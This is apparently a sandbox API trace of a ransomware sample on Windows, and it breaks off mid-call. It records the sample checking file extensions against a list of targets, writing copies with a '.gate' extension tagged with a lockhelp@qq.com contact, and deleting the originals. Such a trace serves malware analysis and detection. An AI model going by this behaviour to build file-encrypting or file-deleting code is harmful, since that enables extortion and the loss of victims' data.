lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.737] lstrlenW (lpString=".dbf") returned 4 [0275.737] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.737] lstrlenW (lpString=".1cd") returned 4 [0275.737] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.737] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".jpg") returned 4 [0275.738] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".doc") returned 4 [0275.738] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString=".docx") returned 5 [0275.738] lstrcmpiW (lpString1=".docx", lpString2="l.xml") returned -1 [0275.738] lstrlenW (lpString=".pdf") returned 4 [0275.738] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString=".xls") returned 4 [0275.738] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString=".xlsx") returned 5 [0275.738] lstrcmpiW (lpString1=".xlsx", lpString2="l.xml") returned -1 [0275.738] lstrlenW (lpString=".ppt") returned 4 [0275.738] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".zip") returned 4 [0275.738] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.738] lstrlenW (lpString=".rar") returned 4 [0275.738] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString=".bz2") returned 4 [0275.738] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString=".7z") returned 3 [0275.738] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".dbf") returned 4 [0275.738] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".1cd") returned 4 [0275.738] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.738] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsel.xml") returned 60 [0275.738] lstrlenW (lpString=".jpg") returned 4 [0275.739] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.739] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.739] lstrlenW (lpString="ipsen.xml") returned 9 [0275.739] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.898] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2578) returned 1 [0275.898] CloseHandle (hObject=0x3b4) returned 1 [0275.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml")) returned 0x20 [0275.898] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.899] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipsen.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.899] lstrlenW (lpString=".doc") returned 4 [0275.899] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.899] lstrlenW (lpString=".docx") returned 5 [0275.899] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.899] lstrlenW (lpString=".pdf") returned 4 [0275.899] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.899] lstrlenW (lpString=".xls") returned 4 [0275.899] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.899] lstrlenW (lpString=".xlsx") returned 5 [0275.899] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.899] lstrlenW (lpString=".ppt") returned 4 [0275.899] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.899] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.899] lstrlenW (lpString=".zip") returned 4 [0275.899] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.899] lstrlenW (lpString=".rar") returned 4 [0275.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".bz2") returned 4 [0275.900] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".7z") returned 3 [0275.900] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString=".dbf") returned 4 [0275.900] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString=".1cd") returned 4 [0275.900] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString=".jpg") returned 4 [0275.900] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString=".doc") returned 4 [0275.900] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".docx") returned 5 [0275.900] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0275.900] lstrlenW (lpString=".pdf") returned 4 [0275.900] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".xls") returned 4 [0275.900] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".xlsx") returned 5 [0275.900] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0275.900] lstrlenW (lpString=".ppt") returned 4 [0275.900] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.900] lstrlenW (lpString=".zip") returned 4 [0275.900] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.900] lstrlenW (lpString=".rar") returned 4 [0275.900] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.900] lstrlenW (lpString=".bz2") returned 4 [0275.901] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.901] lstrlenW (lpString=".7z") returned 3 [0275.901] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.901] lstrlenW (lpString=".dbf") returned 4 [0275.901] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0275.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.901] lstrlenW (lpString=".1cd") returned 4 [0275.901] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0275.901] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipsen.xml") returned 60 [0275.901] lstrlenW (lpString=".jpg") returned 4 [0275.901] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0275.901] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0275.901] lstrlenW (lpString="ipshe.xml") returned 9 [0275.901] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0275.902] GetFileSizeEx (in: hFile=0x3b4, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2532) returned 1 [0275.902] CloseHandle (hObject=0x3b4) returned 1 [0275.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml")) returned 0x20 [0275.902] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0275.902] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipshe.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0275.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0275.902] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0275.902] lstrlenW (lpString=".doc") returned 4 [0275.903] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString=".docx") returned 5 [0275.903] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0275.903] lstrlenW (lpString=".pdf") returned 4 [0275.903] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString=".xls") returned 4 [0275.903] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString=".xlsx") returned 5 [0275.903] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0275.903] lstrlenW (lpString=".ppt") returned 4 [0275.903] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0275.903] lstrlenW (lpString=".zip") returned 4 [0275.903] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0275.903] lstrlenW (lpString=".rar") returned 4 [0275.903] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString=".bz2") returned 4 [0275.903] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0275.903] lstrlenW (lpString=".7z") returned 3 [0275.903] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0275.903] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipshe.xml") returned 60 [0275.903] lstrlenW (lpString=".dbf") returned 4 [0275.903] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0276.641] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.641] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0276.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x438 [0277.034] GetLastError () returned 0x0 [0277.034] ReadFile (in: hFile=0x388, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0277.128] WriteFile (in: hFile=0x438, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0277.129] ReadFile (in: hFile=0x388, lpBuffer=0x3c8c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x327fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesRead=0x327fecc*=0x0, lpOverlapped=0x0) returned 1 [0277.129] WriteFile (in: hFile=0x438, lpBuffer=0x3c8c020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x327fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c8c020*, lpNumberOfBytesWritten=0x327fc94*=0x13e, lpOverlapped=0x0) returned 1 [0277.129] SetEndOfFile (hFile=0x438) returned 1 [0277.129] CloseHandle (hObject=0x438) returned 1 [0277.130] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.130] SetEndOfFile (hFile=0x388) returned 1 [0277.132] CloseHandle (hObject=0x388) returned 1 [0277.132] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0277.132] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0117-0409-1000-0000000ff1ce.xml")) returned 1 [0277.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.133] lstrlenW (lpString=".doc") returned 4 [0277.133] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString=".docx") returned 5 [0277.133] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.133] lstrlenW (lpString=".pdf") returned 4 [0277.133] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString=".xls") returned 4 [0277.133] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString=".xlsx") returned 5 [0277.133] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.133] lstrlenW (lpString=".ppt") returned 4 [0277.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.133] lstrlenW (lpString=".zip") returned 4 [0277.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.133] lstrlenW (lpString=".rar") returned 4 [0277.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString=".bz2") returned 4 [0277.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.133] lstrlenW (lpString=".7z") returned 3 [0277.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.133] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".dbf") returned 4 [0277.134] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".1cd") returned 4 [0277.134] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".jpg") returned 4 [0277.134] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".doc") returned 4 [0277.134] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString=".docx") returned 5 [0277.134] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0277.134] lstrlenW (lpString=".pdf") returned 4 [0277.134] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString=".xls") returned 4 [0277.134] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString=".xlsx") returned 5 [0277.134] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0277.134] lstrlenW (lpString=".ppt") returned 4 [0277.134] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".zip") returned 4 [0277.134] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.134] lstrlenW (lpString=".rar") returned 4 [0277.134] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString=".bz2") returned 4 [0277.134] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.134] lstrlenW (lpString=".7z") returned 3 [0277.134] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.134] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.134] lstrlenW (lpString=".dbf") returned 4 [0277.135] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.135] lstrlenW (lpString=".1cd") returned 4 [0277.135] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.135] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0117-0409-1000-0000000FF1CE.xml") returned 104 [0277.135] lstrlenW (lpString=".jpg") returned 4 [0277.135] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.135] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0277.135] lstrlenW (lpString="AppXManifest.common.xml") returned 23 [0277.135] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.135] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=2173046) returned 1 [0277.135] CloseHandle (hObject=0x388) returned 1 [0277.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml")) returned 0x220 [0277.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.136] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.common.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0 [0277.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.136] lstrlenW (lpString=".doc") returned 4 [0277.136] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString=".docx") returned 5 [0277.136] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0277.136] lstrlenW (lpString=".pdf") returned 4 [0277.136] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString=".xls") returned 4 [0277.136] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString=".xlsx") returned 5 [0277.136] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0277.136] lstrlenW (lpString=".ppt") returned 4 [0277.136] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.136] lstrlenW (lpString=".zip") returned 4 [0277.136] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.136] lstrlenW (lpString=".rar") returned 4 [0277.136] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString=".bz2") returned 4 [0277.136] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.136] lstrlenW (lpString=".7z") returned 3 [0277.136] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.136] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString=".dbf") returned 4 [0277.137] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString=".1cd") returned 4 [0277.137] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString=".jpg") returned 4 [0277.137] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString=".doc") returned 4 [0277.137] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString=".docx") returned 5 [0277.137] lstrcmpiW (lpString1=".docx", lpString2="n.xml") returned -1 [0277.137] lstrlenW (lpString=".pdf") returned 4 [0277.137] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString=".xls") returned 4 [0277.137] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString=".xlsx") returned 5 [0277.137] lstrcmpiW (lpString1=".xlsx", lpString2="n.xml") returned -1 [0277.137] lstrlenW (lpString=".ppt") returned 4 [0277.137] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.137] lstrlenW (lpString=".zip") returned 4 [0277.137] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0277.137] lstrlenW (lpString=".rar") returned 4 [0277.137] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString=".bz2") returned 4 [0277.137] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0277.137] lstrlenW (lpString=".7z") returned 3 [0277.138] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0277.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.138] lstrlenW (lpString=".dbf") returned 4 [0277.138] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0277.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.138] lstrlenW (lpString=".1cd") returned 4 [0277.138] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0277.138] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.common.xml") returned 74 [0277.138] lstrlenW (lpString=".jpg") returned 4 [0277.138] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0277.138] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0277.138] lstrlenW (lpString="AppXManifestLoc.en-us.xml") returned 25 [0277.138] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.138] GetFileSizeEx (in: hFile=0x388, lpFileSize=0x327ff14 | out: lpFileSize=0x327ff14*=9831) returned 1 [0277.138] CloseHandle (hObject=0x388) returned 1 [0277.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml")) returned 0x220 [0277.139] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0277.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifestLoc.en-us.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifestloc.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0277.139] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x327fec0 | out: lpNewFilePointer=0x0) returned 1 [0277.139] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, 